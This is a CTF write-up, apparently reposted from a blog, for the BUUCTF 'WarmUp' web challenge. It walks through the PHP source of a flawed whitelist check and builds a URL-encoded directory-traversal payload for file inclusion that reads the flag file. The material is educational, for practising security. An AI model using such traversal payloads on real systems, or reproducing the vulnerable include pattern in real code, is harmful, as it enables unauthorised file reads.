当前位置:网站首页>BUUCTF web WarmUp
BUUCTF web WarmUp
2022-07-19 05:20:00 【dafeng2773】
Topic link :BUUCTF Online evaluation (buuoj.cn)
Visit topic link , See a big funny face

Have a look first f12, Prompt Sourc.php
visit Sourc.php

contain source.php and hint.php, visit hint.php

guess flag stay ffffllllaaaagggg in
Observe Sourc.php in Code and emoji Link to , Guess it's test Code audit and directory traversal

Code audit
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) { // Determine whether the variable is declared , Whether it's a string
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { // Whether it matches the white list
return true;
}
$_page = mb_substr( // Intercept ? Previous string
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) { // Match the white list for the second time
return true;
}
$_page = urldecode($page); //url Yes $page decode
$_page = mb_substr( // Second interception ? Previous string
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { Match the white list for the third time
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) // Non empty
&& is_string($_REQUEST['file']) // Is string
&& emmm::checkFile($_REQUEST['file']) // Pass verification
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
First look at the main part of the code , Yes file Parameters 3 Second judgment :1. Is it not empty? 2. Whether it's a string 3. Whether it can pass checkFile Function verification .3 After passing all the judgments , To include .
checkFile function :
1. First set the white list , Contains only source.php and hint.php
2. Yes $page Judge , Judge page? Whether the previous parameters are in the white list
3. Admitted url code , Decoded once , Check again
Try to construct payload:
file=source.php?../../../../../ffffllllaaaaggggSomething went wrong , There is one URL Coding problem
take ? Change to %3F
structure payload:
file=source.php%3F../../../../../ffffllllaaaaggggSucceed in getting flag

The problem of code audit is to understand the code first , Then construct the corresponding payload.
Reference link :
buuctf-[HCTF 2018]WarmUp1( Xiaoyute detailed explanation )_ Xiaoyute's detailed blog -CSDN Blog
BUUCTF web WarmUp_A_dmins The blog of -CSDN Blog _buuctf warmup
边栏推荐
- Applet cloud development upload pictures to cloud storage
- Using JS to realize the second level menu of anjuke and the full version (demonstration of precautions and problem points)
- 热更新及其原理
- 实习项目3-更改所有者
- 2020-10-22
- 运维安全要了解的二三事
- 网络命令:网卡信息,netstat,arp
- Use (offset, page) in JS to achieve login effect
- What are the B domain, m domain and O domain
- JS native object plus attributes
猜你喜欢

数据可视化

ThreadLocal thread safety example and its principle

实习项目1-个性化主页配置

Cesium geojson数据的添加与移除

Internship project 3- change owner

Nacos配置管理

Installation and fast use of Mongo DB stand-alone version

Shell script configures root to login to other hosts without secret

The first smart contract program faucet sol

Cesium bind mouse events and remove mouse events
随机推荐
Bi design: distributed high concurrency epidemic prevention health management system based on vue+socket+redis
轮播图的两种方法及自动轮播
Applet editor rich text editing and rich text parsing
父组件加scoped有时也会影响子组件
Cesium 綁定鼠標事件和移除鼠標事件
es6新增-对象部分
多功能(实现)封装函数
es6新增-数组/对象的解构赋值
computed和watch的区别
Two methods of obtaining URL parameters and various methods of obtaining location objects
Applet cloud development upload pictures to cloud storage
Class object automatic injection attribute operation tool
Two or three things to know about operation and maintenance safety
2.6.2 内存泄漏
B域,M域,O域具体是指什么
轮播图移动速度(匀速,缓动)案例归总
es6新增-Symbol数据类型
Using JS to realize the second level menu of anjuke and the full version (demonstration of precautions and problem points)
2.6.2 memory leakage
H5页面使用js生成二维码